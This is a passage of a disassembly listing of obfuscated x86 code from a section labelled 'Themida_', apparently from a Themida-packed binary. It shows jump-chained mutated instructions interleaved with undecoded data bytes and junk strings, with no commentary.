		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7D8A42BAh
		sub	esp, 4
		jmp	loc_54A1B4
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 8B24048Fh, 0F9F72424h,	345D68h, 24148900h
		dd 5FE99C50h, 5FFFFF2h,	5EF32386h, 6850515Dh, 724C1BBDh
		dd 0E924048Bh, 9B30h
; ---------------------------------------------------------------------------

loc_546DF4:				; CODE XREF: Themida_:0054F587j
		push	35E2h
		jmp	loc_54EE5F
; ---------------------------------------------------------------------------

loc_546DFE:				; CODE XREF: Themida_:0055228Dj
		mov	[esp], edx
		jmp	loc_54B0FB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 57240489h, 2F63E9h
		db 0
; ---------------------------------------------------------------------------

loc_546E19:				; CODE XREF: Themida_:00550BD7j
		xor	ebp, eax
		pop	eax
		xor	ebp, 5DB4D07h
		dec	ebp
		or	ebp, 659D3BFDh
		sub	ebp, 0CB214FCh
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 3F4C0A74h
		not	ecx
		shl	ecx, 7
		sub	ecx, 0DA673635h
		jmp	loc_54856F
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0A320E900h,	50580000h, 405E089h, 5000000h
		dd 4, 0E9240487h, 6A5h,	9D1C77FFh, 11665866h, 0E99C2404h
		dd 0FFFFF1C2h, 56D831ADh, 1E16AFBEh, 90E68126h,	0E97CD75Eh
		dd 4524h, 8124048Fh, 42404h, 48F0000h, 24048324h, 20E3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546EA6:				; CODE XREF: Themida_:00551E82j
		dec	cl
		xor	cl, 80h
		jmp	loc_54CBDD
; ---------------------------------------------------------------------------

loc_546EB0:				; CODE XREF: Themida_:005497DDj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4F017B02h
		sub	esp, 4
		jmp	loc_550C9C
; ---------------------------------------------------------------------------
aPhac		db 'Phíc',0
		align 2
aISo_		db '‰$$éo.',0
		align 2

loc_546EDE:				; CODE XREF: Themida_:00547A35j
		add	ecx, edi
		jmp	loc_54F8DE
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 6
		dd 0FE44BE56h, 0F2290043h, 56C3E9h, 0A6F38100h,	1270B8Ah
		dd 241C8BD9h, 0E904C483h, 0A9C6h, 21B1C181h, 0E1D12C11h
		dd 106AC181h, 0CD019803h, 2C58359h, 8904EC83h, 74FF242Ch
		dd 8F5D0424h, 248B2404h, 0A891E924h, 6680000h, 0E9000054h
		dd 3BABh, 0C681E689h, 4, 81E68956h, 4C6h, 4EE8100h, 0E9000000h
		dd 6184h
; ---------------------------------------------------------------------------

loc_546F58:				; CODE XREF: Themida_:0054A825j
		dec	eax
		sub	eax, 6FA71A8h
		or	eax, 72417439h
		add	eax, 928779FDh
		jmp	loc_550832
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 30E3E9h, 2434FF00h, 0E92434FFh, 419Bh, 8B243C33h, 18682424h
		dd 89000064h, 0ABE92404h, 68FFFFF0h, 73783422h,	57BB5358h
		dd 21746941h, 241C8BD8h, 4C481h, 9AE90000h, 89000028h
		dd 26BB53E7h, 55557974h, 4304F1BDh, 79E58136h, 0E9024C1Bh
		dd 3C0Ah, 0A015C181h, 0CA295E68h, 7599E9h, 80C32800h, 685267EBh
		dd 13BAh, 0B0240489h, 84B551EFh, 933BE9h, 240C8B00h, 6B3EE9h
		dd 0A3E95300h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546FFB:				; CODE XREF: Themida_:00549422j
		mov	ch, 24h
		xor	ch, bl
		pop	ebx
		add	bl, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_551303
; ---------------------------------------------------------------------------
		align 2
		dw 4D8h
aIhuv		db 'Ihžv',0
		align 2
		dw 1C89h
aSn		db '$éN<',0
		align 2

loc_547022:				; CODE XREF: Themida_:0054C115j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_54C8C9
; ---------------------------------------------------------------------------
		dd 575FF801h, 2AEABE56h, 2FBF0957h, 315A571Fh, 0E7C15EF7h
		dd 30B95102h, 0E96B7F72h, 1C17h, 0E904C483h, 323Ah, 4C481h
		dd 0C3310000h, 3D826851h, 34890000h, 0B175E924h, 0E7810000h
		dd 2B4808A4h, 8A0F781h,	0FA012B48h, 7011E9h, 47C18100h
		dd 5D189E58h, 4B850h, 0CDE90000h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54708F:				; CODE XREF: Themida_:0054FBABj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 658Eh
		jmp	loc_54EBF3
; ---------------------------------------------------------------------------
		dd 4C281h, 0B8500000h, 4, 0E8E9C229h, 68000065h, 0F2Eh
		dd 0E9242489h, 315h
; ---------------------------------------------------------------------------

loc_5470C8:				; CODE XREF: Themida_:00546BD1j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_549009
; ---------------------------------------------------------------------------
aSo		db '[éO!',0
		align 10h
		dd 42474FFh, 6824048Bh,	1B4Eh, 89241489h, 0BE5657E2h, 0EC005B0h
		dd 0C005B4BFh, 5EF7310Eh, 5123C281h, 0FA01414Eh, 5123EA81h
		dd 0E95F414Eh, 246Eh, 8324048Bh, 2C8704C4h, 4895C24h, 5531B824h
		dd 1050DE7h, 35000000h,	0DE75536h, 48BC201h, 7EA1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54713A:				; CODE XREF: Themida_:0054EA2Bj
		xchg	esi, [esp]
		jmp	loc_54D1F3
; ---------------------------------------------------------------------------

loc_547142:				; CODE XREF: Themida_:0054FDFEj
		push	esp
		jmp	loc_548ECD
; ---------------------------------------------------------------------------

loc_547148:				; CODE XREF: Themida_:0054F4FAj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_54FE45
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
aRtzsg		db 'RTZé£,',0
		align 4
		dd 1EDA6855h, 0CEE90000h, 5E000006h, 815FFD29h,	0AF7D45C5h
		dd 81DD016Dh, 0AF7D45EDh, 0AC5816Dh, 5B1A0978h,	5C242C87h
		dd 0E9028864h, 1A9Ah, 241C875Ah, 6624248Bh, 9C240CD3h
		dd 0FFEE69E9h, 58EA81FFh, 0E9A24D8Dh, 2AD5h, 324168h, 240C8900h
		dd 0BE56E189h, 2D1B1016h, 940FE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5471F6:				; CODE XREF: Themida_:0054D558j
		inc	edi
		xor	edi, 5B2B2A31h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54D87B
; ---------------------------------------------------------------------------
		db 51h
		dd 0E800D4B5h, 0F3B35359h, 0C004EBC0h, 0DBF603EBh, 0B151DBF6h
		dd 3E9C061h, 0FE05E980h, 3F1AE9C9h, 2D5E0000h, 499D5AF5h
		dd 8324348Bh, 48704C4h,	4285C24h, 0F7E99C24h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547247:				; CODE XREF: Themida_:00546AD8j
		sub	dword ptr [esp], 48C73326h
		sub	[esp], ebp
		add	dword ptr [esp], 48C73326h
		pop	ebp
		not	ebp
		sub	ebp, 9A001056h
		push	ecx
		mov	ecx, 7455488Bh
		not	ecx
		sub	ecx, 1A9B38A1h
		add	edx, ecx
		jmp	loc_54917A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 31241C33h, 1C33241Ch, 24248B24h, 7868E1F7h, 89000065h
		dd 9C502414h, 0FFEDA5E9h, 41C381FFh, 8104D12Fh,	1234DBC3h
		dd 1627E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5472AA:				; CODE XREF: Themida_:0054EE76j
		pop	eax
		neg	eax
		push	ebx
		mov	ebx, 47D31BCFh
		or	eax, ebx
		pop	ebx
		xor	eax, 3A974E9h
		xor	eax, 0E625E266h
		or	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 0D8448285h
		jmp	loc_5524A9
; ---------------------------------------------------------------------------
		dw 0F75Bh
		dd 0E9C281D2h, 0E9BE1044h, 781Dh, 0DEE96B34h, 89000022h
		dd 4C581E5h, 81000000h,	4C5h, 0F964E900h, 74FFFFFFh, 8F5A0424h
		dd 555C2404h, 2EE95053h, 0F7000039h, 0E2814AD2h, 47A45BE2h
		dd 0EA81D2F7h, 0B63CA751h, 85DEE9h, 0CCEB8100h,	891AE5CEh
		dd 0FE095BDFh, 55C6815Fh, 297574E0h, 0CD295EF1h, 242C8759h
		dd 8924248Bh, 0F3E92414h, 68FFFFECh, 4C54h, 0BB241C89h
		dd 3Ch,	0FFF63CE9h, 241C89FFh, 0D828EAB3h, 46CDE9h, 2434FF00h
		dd 5CC3E9h
		db 0
; ---------------------------------------------------------------------------

loc_547371:				; CODE XREF: Themida_:0055034Cj
		mov	edi, 34972C60h
		sub	edi, 4C6C28BBh
		shl	edi, 8
		jmp	loc_551D98
; ---------------------------------------------------------------------------

loc_547384:				; CODE XREF: Themida_:00550B89j
		push	794Fh
		mov	[esp], ebx
		add	dword ptr [esp], 374400A9h
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 374400A9h
		mov	edi, eax
		jmp	loc_54E4A2
; ---------------------------------------------------------------------------
aS_5		db 9,'Èé\=',0
		dw 8900h
		dd 4C681E6h, 81000000h,	4C6h, 4EC8300h,	7BD7E9h, 24048300h
		dd 2434FF04h, 0FFF3D0E9h, 240433FFh, 9A4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5473F1:				; CODE XREF: Themida_:00549EA0j
		pop	ecx
		add	esp, 4
		sub	ecx, 0D31FACBBh
		jmp	loc_549912
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 24248B24h,	24048B66h, 835E9h, 4C48100h, 81000000h
		dd 4C4h, 0E7895700h, 4C781h, 42E90000h,	89000016h, 9B2DE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547436:				; CODE XREF: Themida_:0054889Fj
		pop	edi
		pop	edx
		or	esi, 0D4247Dh
		shl	esi, 3
		add	esi, 36362FBAh
		jmp	loc_548CC7
; ---------------------------------------------------------------------------
aKfr		db '´ŠfR²¿',0
		db 0D4h
		dd 0EC805A66h, 58E6309Fh, 28FBF680h, 24148BF0h,	3235E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54746A:				; CODE XREF: Themida_:00549208j
		push	5CD97F74h
		pop	edx
		neg	edx
		neg	edx
		sub	edx, 2AA84B2Eh
		jmp	loc_54ABBE
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE751BC7h, 4ED0E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54748A:				; CODE XREF: Themida_:0054F689j
		xchg	edx, ecx
		and	ecx, 29083ACAh
		sub	ecx, 0A658C8B6h
		and	ebx, ecx
		jmp	loc_550AFB
; ---------------------------------------------------------------------------

loc_54749F:				; CODE XREF: Themida_:0054921Ej
		xor	esi, [esp]
		pop	esp
		jmp	loc_54C547
; ---------------------------------------------------------------------------

loc_5474A8:				; CODE XREF: Themida_:0054F85Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54C6A8
; ---------------------------------------------------------------------------
aM0Fsrusyt	db '¬0ØfSRUéyt',0
		align 4
		dd 4A8BBA52h, 0E2817830h, 15B131D9h, 473EBD55h,	0EA29177Ch
		dd 0BFF2815Dh, 427D2879h, 0F379E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5474EA:				; CODE XREF: Themida_:00550C4Bj
		mov	[esp], edi
		push	ecx
		jmp	loc_5460BE
; ---------------------------------------------------------------------------
		db 89h
		dd 4682404h, 8B000000h,	0C4812404h, 4, 97E9C701h, 5B000030h
		dd 37E3E9h, 17E95C00h, 81FFFFEEh, 4C4h,	148B6600h, 4EC8124h
		dd 89000000h, 0E0892404h, 0AC3CE956h, 0C4830000h, 36E96804h
		dd 32E90000h, 31000030h, 31CE31F1h, 0E68956F1h,	4C681h
		dd 0EE830000h, 24348704h, 0FFF624E9h, 53AD66FFh, 7E67BB66h
		dd 0B8665066h, 29663E08h, 665866C3h, 0D56AC381h, 0E9D82966h
		dd 588Ch
; ---------------------------------------------------------------------------

loc_547578:				; CODE XREF: Themida_:00546AE4j
		mov	eax, esp
		jmp	loc_550903
; ---------------------------------------------------------------------------
aLSM		db '‹$$éê¬',0
		db 0
; ---------------------------------------------------------------------------

loc_547587:				; CODE XREF: Themida_:0054A72Aj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_54D616
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 16E92434h, 89000004h, 0B850240Ch, 72B026B6h
		dd 312C3F0Dh, 5DEE051Fh, 0D0F76188h, 672DE8D1h,	898FD4F6h
		dd 88EDE9C1h, 66640000h, 0E902B60Fh, 0A183h
; ---------------------------------------------------------------------------

loc_5475CC:				; CODE XREF: Themida_:0054FDCFj
		pop	esp

loc_5475CD:				; CODE XREF: Themida_:loc_54C8E9j
					; Themida_:loc_5523ADj
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_549188
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 5580424h, 4, 2BB53h, 0BF570000h, 337A03D0h
		dd 3D42E9h
		db 0
; ---------------------------------------------------------------------------

loc_5475FD:				; CODE XREF: Themida_:00546714j
		mov	[esp], ebp
		jmp	loc_551070
; ---------------------------------------------------------------------------
		db 1, 0D8h, 2Dh
		dd 3292745Dh, 4055Bh, 4870000h,	23E95C24h, 81FFFFEAh, 4ECh
		dd 8812E900h, 58660000h, 0C0C1B551h, 0E58005E5h, 0E9EDD079h
		dd 249Fh, 56EA815Dh, 81669D64h,	2CEC8CF2h, 348152D3h, 93012424h
		dd 2E0FE93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547652:				; CODE XREF: Themida_:00548EC8j
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 32326AE0h
		add	eax, 241D07E6h
		or	eax, 22BF3ABBh
		shl	eax, 1
		add	eax, 12010A03h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		jmp	loc_5476F8
; ---------------------------------------------------------------------------
		dd 51EFD14Fh, 43F5E9h, 1CF75300h, 241C8B24h, 4C481h, 0B9510000h
		dd 30904h, 159CB01h, 50555BD9h,	0A964E9h, 415A6800h, 1C890000h
		dd 0ECE95424h, 8B000036h, 0C4832404h, 0FFFF0504h, 0FCE9FFFFh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5476DF:				; CODE XREF: Themida_:00549AF2j
		and	al, bl
		pop	ebx
		jmp	loc_54D6BE
; ---------------------------------------------------------------------------

loc_5476E7:				; CODE XREF: Themida_:0054A695j
		push	ebx
		jmp	loc_548D12
; ---------------------------------------------------------------------------
		db 68h,	4Fh, 34h
		dd 0E95F2302h, 7B80h
; ---------------------------------------------------------------------------

loc_5476F8:				; CODE XREF: Themida_:00547693j
		add	ebx, edi
		add	[ebx], ecx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4

loc_547706:				; CODE XREF: Themida_:0054A775j
		push	4489h
		mov	[esp], ebx
		mov	eax, [esp]
		push	215Ch
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4D566AE8h
		or	edi, 501617EEh
		shr	edi, 4
		and	edi, 67F66229h
		and	edi, 7132659Bh
		neg	edi
		jmp	loc_54E898
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0D0280704h, 2807B252h, 0E6E95AD0h, 890000A6h, 0EDB82404h
		dd 120433Bh, 8B042444h,	0C4832404h, 0A98E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547766:				; CODE XREF: Themida_:00547B08j
		mov	edi, 696A4520h
		neg	edi
		and	edi, 6D823E98h
		jmp	loc_54816E
; ---------------------------------------------------------------------------
		dd 9462A6B9h, 7E9C11Eh,	544DC981h, 0F74965BCh, 1BB53D1h
		dd 1000000h, 3685BD9h, 89000052h, 68572414h, 202C0873h
		dd 8EFC15Fh, 0A8D6EF81h, 0CEE965DDh, 88000014h,	2434FFCCh
		dd 4C48359h, 48BE388h, 4C48324h, 0E924148Bh, 0FFFFF884h
		dd 405h, 7D3AE900h, 2C890000h, 56E58924h, 714D99BEh, 0D6F74E59h
		dd 7265E9h, 805B5A00h, 82E9ACEBh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5477EF:				; CODE XREF: Themida_:005497E8j
		add	esp, 4
		xor	ebx, eax
		push	edi
		jmp	loc_551708
; ---------------------------------------------------------------------------
		dw 7505h
		dd 31A40178h, 51E958C3h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547807:				; CODE XREF: Themida_:0054D252j
		mov	edx, 880018Dh
		xor	edx, 19CB5CF8h
		inc	edx
		push	ebp
		push	eax
		push	17254DC8h
		pop	eax
		mov	ebp, eax
		pop	eax
		push	ebp
		not	dword ptr [esp]
		jmp	loc_54ED41
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFC1h, 0E92434FFh, 0FFFFF622h
; ---------------------------------------------------------------------------

loc_547834:				; CODE XREF: Themida_:005502EBj
		mov	[esp], ebx
		jmp	loc_54C9FB
; ---------------------------------------------------------------------------
a31SQ		db '3,$1,$éߟ',0
		db 0
; ---------------------------------------------------------------------------

loc_547847:				; CODE XREF: Themida_:00548ED6j
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 400h
		jmp	loc_547F55
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 5BD82900h, 5A07E9h, 24248900h,	4240481h, 5D000000h
		dd 0E904EC83h, 2AF2h, 83E28952h, 48904ECh, 35D9E924h, 4680000h
		dd 58000000h, 34FFC201h, 0BBE95824h, 5E000043h,	112AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5478A5:				; CODE XREF: Themida_:0054900Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54AD1E
; ---------------------------------------------------------------------------
		dd 91F781h, 0EF810514h,	6DA11B78h, 1EF814Fh, 9368855h
		dd 29685FF9h, 8900006Ch, 0B850243Ch, 2D8F171Eh,	3504E0C1h
		dd 452E4492h, 6108D235h, 0C68956EDh, 0E95EF789h, 0F53h
		dd 8904EC83h, 0E9532414h, 4484h, 83242489h, 8B042404h
		dd 0F3E92414h, 89000015h, 4C581E5h, 83000000h, 0FF5504C5h
		dd 5D042474h, 5C24048Fh, 582434FFh, 9494E952h, 8B660000h
		dd 0BDE9240Ch, 5800008Eh, 1AE95553h, 0AD00008Eh, 259D68h
		dd 24348900h, 0C443F0BEh, 7D580545h, 0F02971E7h, 0E77D582Dh
		dd 24348B71h, 549FE9h, 24148900h, 86C9E9h, 59CA0100h, 8B241487h
		dd 34FF2424h, 2434FF24h, 5D545558h, 2AB4E9h, 2434FF00h
		dd 0A3BEE9h
		db 0
; ---------------------------------------------------------------------------

loc_547985:				; CODE XREF: Themida_:0054A21Cj
		xor	[esp], esi
		jmp	loc_54BFFD
; ---------------------------------------------------------------------------
		db 0B8h, 2 dup(46h)
		dd 0E8C1402Bh, 0B4622D04h, 0C7290402h, 0A3C6E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5479A2:				; CODE XREF: Themida_:00550CF6j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_546536
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0E9560000h, 0A8D5h, 0EA9B850h, 0EC8145F2h, 4
		dd 0BF243C89h, 2D091E60h, 4F3AE9h, 4C58100h, 81000000h
		dd 4C5h, 53FCE900h, 248B0000h, 0E0895024h, 59F7E9h, 8BC80100h
		dd 0C481240Ch, 4, 8704C083h, 525C2404h,	0C281E289h, 4
		dd 4C281h, 14870000h, 89535C24h, 4F76E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547A26:				; CODE XREF: Themida_:00550B4Fj
		neg	edi
		inc	edi
		sub	edi, 2F9D19BDh
		sub	edi, 0D84331A0h
		jmp	loc_546EDE
; ---------------------------------------------------------------------------

loc_547A3A:				; CODE XREF: Themida_:0054DE9Aj
		add	edi, esi
		pop	esi
		push	edi
		jmp	loc_54CE19
; ---------------------------------------------------------------------------

loc_547A43:				; CODE XREF: Themida_:005502CBj
		mov	eax, ebx
		jmp	loc_54E1CE
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404BBh, 0FFE5E9E9h, 0C28359FFh, 528CE902h, 48F0000h
		dd 2CD25C24h, 0D3E99C24h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547A6B:				; CODE XREF: Themida_:0054E49Dj
		push	edx
		mov	edx, 13554378h
		or	edx, 70122C9h
		dec	edx
		shr	edx, 6
		jmp	loc_547C1F
; ---------------------------------------------------------------------------

loc_547A80:				; CODE XREF: Themida_:0054D869j
		xor	esi, 0B1559B49h
		add	edx, esi
		pop	esi
		sub	edx, ebp
		sub	edx, 1B7C5CE2h
		pop	ebp
		mov	ecx, 0C1C1D21Bh
		add	ecx, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54ED36
; ---------------------------------------------------------------------------

loc_547AA4:				; CODE XREF: Themida_:005506E5j
		push	edi
		mov	edi, 764B7EBBh
		shr	edi, 2
		and	edi, 0DF9235Eh
		neg	edi
		xor	edi, 0BF63FE4h
		sub	edi, 0F997C316h
		mov	esi, edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		push	esi
		jmp	loc_546C28
; ---------------------------------------------------------------------------
		db 81h
		dd 0ED0E6DC1h, 59CD8949h, 0F707EDC1h, 7FCD81D5h, 8176DC76h
		dd 218005C5h, 4DE8E900h, 8B660000h, 33E92404h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547AFB:				; CODE XREF: Themida_:00550904j
		push	edx
		push	335B7EBBh
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_547766
; ---------------------------------------------------------------------------
		db 0FEh, 0C7h, 52h
aSL		db '²´é`l',0
		dw 6800h
		dd 7A6Ah, 51241489h, 66741C68h,	81C7E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547B2A:				; CODE XREF: Themida_:0054B8A6j
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 0B8761E1h
		mov	esi, 0B8761E5h
		sub	esi, edi
		pop	edi
		jmp	loc_54E8D2
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0B8240489h, 79FA0BE2h, 96F61D05h, 58C13161h,	8159CB89h
		dd 4ECh, 24048900h, 45F2E9h, 0F7494900h, 0A3E981D1h, 144A473h
		dd 240C8BC8h, 9063E9h
		db 0
; ---------------------------------------------------------------------------

loc_547B79:				; CODE XREF: Themida_:0054AC14j
		add	esp, 4
		jmp	loc_546C6A
; ---------------------------------------------------------------------------
aNsxq		db '­éXQ',0
		dw 5E00h
		dd 52FFC083h, 235180BAh, 1D60E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547B96:				; CODE XREF: Themida_:0054E8D5j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5463B1
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 0EE9CBA24h, 0D729D97Ah, 8BF9295Ah
		dd 0C483243Ch, 59C82904h, 1B47BE56h, 0E6C1589Eh, 48F68104h
		dd 0E9472E06h, 7D81h, 512FC680h, 9DE901B5h, 83000055h
		dd 0C8904ECh, 27C6824h,	4890000h, 0DE95324h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547BEF:				; CODE XREF: Themida_:0054FAF9j
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_548A35
; ---------------------------------------------------------------------------
		db 5
		dd 80F6C112h, 0E6E9C529h, 59000069h, 2A2EE9h, 7E2C000h
		dd 0E2B25250h, 0A7BDE9h, 1EE95400h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547C1F:				; CODE XREF: Themida_:00547A7Bj
		sub	edx, 5D558Bh
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_54E20D
; ---------------------------------------------------------------------------
		dd 24048B66h, 2C481h, 0D3000000h, 0A6A9E9h, 0FFC18300h
		dd 6F29E949h, 0B2680000h, 89000075h, 0E954240Ch, 73EEh
		dd 0BA52535Eh, 625F1B6Ah, 0D2F7EAD1h, 102FEA81h, 0D389AC46h
		dd 9464E9h, 5BDD0100h, 1CBECD81h, 94E95995h, 4600005Eh
		dd 5F0BEE81h, 0E6C12B54h, 34F68108h, 5742AC5Fh,	0B00813BFh
		dd 6FBE5614h, 0F7554755h, 3E6C1D6h, 25EE814Eh, 8178F023h
		dd 52700EEh, 0E9F73196h, 0A030h
; ---------------------------------------------------------------------------

loc_547CB4:				; CODE XREF: Themida_:00550F9Dj
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54ED57
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 42DC241Ch, 0F759CF09h, 93F781D7h, 29FED1FBh,	0F0055FFDh
		dd 0E958051Ch, 8E0h, 0E9240487h, 8A75h,	27CBEA81h, 0B3E9626Fh
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547CFF:				; CODE XREF: Themida_:0054AA48j
		push	dword ptr [esp]
		jmp	loc_5502F0
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2404h, 0BD55243Ch, 6EEB5CBAh, 58BAED81h,	0EF896EEBh
		dd 0FFF9895Dh, 34FF2434h, 0C4835F24h, 3BE95704h, 81000016h
		dd 4EEh, 24348700h, 243C895Ch, 5057C789h, 5D3BC6B8h, 2108E94Fh
		dd 8B660000h, 5450240Ch
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_551099
; ---------------------------------------------------------------------------
aQtysIHk6	db 'QTYS»',8,'!i|hŠ6',0
		dd 8824E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547D6E:				; CODE XREF: Themida_:0054EF80j
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_54B7D5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0ECF781D7h, 4F733A61h, 0DD77F781h, 94E9BDE3h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D8B:				; CODE XREF: Themida_:0054FFFAj
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_548285
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 0E9242489h, 0A18Fh, 4C481h, 0E1E90000h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547DAF:				; CODE XREF: Themida_:00546C75j
		inc	ah
		xor	ah, 1Ch
		sub	cl, ah
		jmp	loc_5499EC
; ---------------------------------------------------------------------------
		db 55h
		dd 2BDh, 5DEE0100h, 5BE9h, 24248B00h, 0FF2434FFh, 0E9582434h
		dd 0A0D5h, 1DE3EB81h, 15E97891h, 68FFFFEBh, 33D42775h
		dd 0C6C3815Bh, 0F7703A0Ah, 0DEC381D3h, 890377A4h, 241C8BD9h
		dd 4C481h, 0C1810000h, 62FE7FD9h, 5206E1C1h, 98389EBAh
		dd 814A4218h, 775793E2h, 3EEA8140h, 0E95FA014h,	7FBCh
		dd 5C243487h, 4A30F66h,	0BE99C24h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547E33:				; CODE XREF: Themida_:0054B2B0j
		pop	edi
		xchg	esi, ebx
		sub	esi, 1
		jmp	loc_54C462
; ---------------------------------------------------------------------------
aIchG		db '‰çh"g',0
		align 4
		dd 0BB241C89h, 4, 8C9FE9h
		db 0
; ---------------------------------------------------------------------------

loc_547E55:				; CODE XREF: Themida_:0054C020j
		pop	ebp
		jmp	loc_54B63E
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 81000000h,	22728FE9h, 13C6E951h, 0E6890000h
		dd 152D68h, 242C8900h, 7F8CE9h
		db 0
; ---------------------------------------------------------------------------

loc_547E7D:				; CODE XREF: Themida_:0054F374j
		mov	edi, 58B50E0Eh
		shr	edi, 6
		shl	edi, 6
		sub	edi, 5D24823h
		jmp	loc_54A913
; ---------------------------------------------------------------------------

loc_547E93:				; CODE XREF: Themida_:00550CB0j
		mov	edi, 60497284h
		mov	ecx, edi
